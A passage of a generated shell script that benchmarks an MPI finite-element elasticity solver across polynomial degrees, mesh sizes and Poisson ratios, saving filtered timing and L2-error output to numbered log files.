log_files/\"320_linE_nu_0.3_deg_1_h_77_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"320_linE_nu_0.3_deg_1_h_77_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"321_linE_nu_0.3_deg_1_h_125_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"321_linE_nu_0.3_deg_1_h_125_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"322_linE_nu_0.3_deg_1_h_125_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"322_linE_nu_0.3_deg_1_h_125_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"323_linE_nu_0.3_deg_1_h_125_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"323_linE_nu_0.3_deg_1_h_125_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"324_linE_nu_0.3_deg_2_h_6_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"324_linE_nu_0.3_deg_2_h_6_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"325_linE_nu_0.3_deg_2_h_6_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"325_linE_nu_0.3_deg_2_h_6_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"326_linE_nu_0.3_deg_2_h_6_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"326_linE_nu_0.3_deg_2_h_6_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"327_linE_nu_0.3_deg_2_h_10_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"327_linE_nu_0.3_deg_2_h_10_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"328_linE_nu_0.3_deg_2_h_10_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"328_linE_nu_0.3_deg_2_h_10_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"329_linE_nu_0.3_deg_2_h_10_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"329_linE_nu_0.3_deg_2_h_10_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"330_linE_nu_0.3_deg_2_h_11_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"330_linE_nu_0.3_deg_2_h_11_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"331_linE_nu_0.3_deg_2_h_11_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"331_linE_nu_0.3_deg_2_h_11_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"332_linE_nu_0.3_deg_2_h_11_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"332_linE_nu_0.3_deg_2_h_11_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"333_linE_nu_0.3_deg_2_h_18_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"333_linE_nu_0.3_deg_2_h_18_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"334_linE_nu_0.3_deg_2_h_18_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"334_linE_nu_0.3_deg_2_h_18_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"335_linE_nu_0.3_deg_2_h_18_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"335_linE_nu_0.3_deg_2_h_18_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"336_linE_nu_0.3_deg_2_h_19_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"336_linE_nu_0.3_deg_2_h_19_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"337_linE_nu_0.3_deg_2_h_19_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"337_linE_nu_0.3_deg_2_h_19_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"338_linE_nu_0.3_deg_2_h_19_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"338_linE_nu_0.3_deg_2_h_19_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"339_linE_nu_0.3_deg_3_h_4_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"339_linE_nu_0.3_deg_3_h_4_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"340_linE_nu_0.3_deg_3_h_4_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"340_linE_nu_0.3_deg_3_h_4_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"341_linE_nu_0.3_deg_3_h_4_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"341_linE_nu_0.3_deg_3_h_4_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"342_linE_nu_0.3_deg_3_h_5_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"342_linE_nu_0.3_deg_3_h_5_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"343_linE_nu_0.3_deg_3_h_5_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"343_linE_nu_0.3_deg_3_h_5_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"344_linE_nu_0.3_deg_3_h_5_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"344_linE_nu_0.3_deg_3_h_5_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"345_linE_nu_0.3_deg_3_h_6_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"345_linE_nu_0.3_deg_3_h_6_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"346_linE_nu_0.3_deg_3_h_6_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"346_linE_nu_0.3_deg_3_h_6_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"347_linE_nu_0.3_deg_3_h_6_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"347_linE_nu_0.3_deg_3_h_6_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"348_linE_nu_0.3_deg_3_h_7_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"348_linE_nu_0.3_deg_3_h_7_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"349_linE_nu_0.3_deg_3_h_7_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"349_linE_nu_0.3_deg_3_h_7_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"350_linE_nu_0.3_deg_3_h_7_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"350_linE_nu_0.3_deg_3_h_7_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"351_linE_nu_0.3_deg_4_h_2_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"351_linE_nu_0.3_deg_4_h_2_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"352_linE_nu_0.3_deg_4_h_2_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"352_linE_nu_0.3_deg_4_h_2_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"353_linE_nu_0.3_deg_4_h_2_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"353_linE_nu_0.3_deg_4_h_2_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"354_linE_nu_0.3_deg_4_h_3_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"354_linE_nu_0.3_deg_4_h_3_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"355_linE_nu_0.3_deg_4_h_3_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"355_linE_nu_0.3_deg_4_h_3_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"356_linE_nu_0.3_deg_4_h_3_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"356_linE_nu_0.3_deg_4_h_3_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"357_linE_nu_0.3_deg_4_h_4_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"357_linE_nu_0.3_deg_4_h_4_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"358_linE_nu_0.3_deg_4_h_4_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"358_linE_nu_0.3_deg_4_h_4_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"359_linE_nu_0.3_deg_4_h_4_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"359_linE_nu_0.3_deg_4_h_4_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"360_linE_nu_0.49_deg_2_h_13_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"360_linE_nu_0.49_deg_2_h_13_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"361_linE_nu_0.49_deg_2_h_13_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"361_linE_nu_0.49_deg_2_h_13_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"362_linE_nu_0.49_deg_2_h_13_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"362_linE_nu_0.49_deg_2_h_13_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"363_linE_nu_0.49_deg_2_h_22_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"363_linE_nu_0.49_deg_2_h_22_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > 